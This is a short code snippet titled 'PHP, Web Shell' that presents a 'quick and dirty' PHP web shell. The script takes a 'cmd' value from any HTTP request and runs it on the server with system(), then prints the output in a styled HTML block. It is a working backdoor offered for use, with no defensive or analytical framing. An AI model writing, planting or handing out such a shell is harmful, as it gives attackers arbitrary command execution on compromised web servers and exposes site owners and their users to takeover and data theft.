PHP, Web Shell

A quick and dirty php web shell

<?php
if(isset($_REQUEST['cmd'])){
	echo "Command: <span style='color:red;'><b>".$_REQUEST['cmd']."</b></span> executed.";
	echo "<pre style='border:solid 3px red;background:black;color:white;padding:10px;font-size:14px;'>";
	$cmd = ($_REQUEST['cmd']);
	system($cmd);
	echo "</ pre>";
	die;
}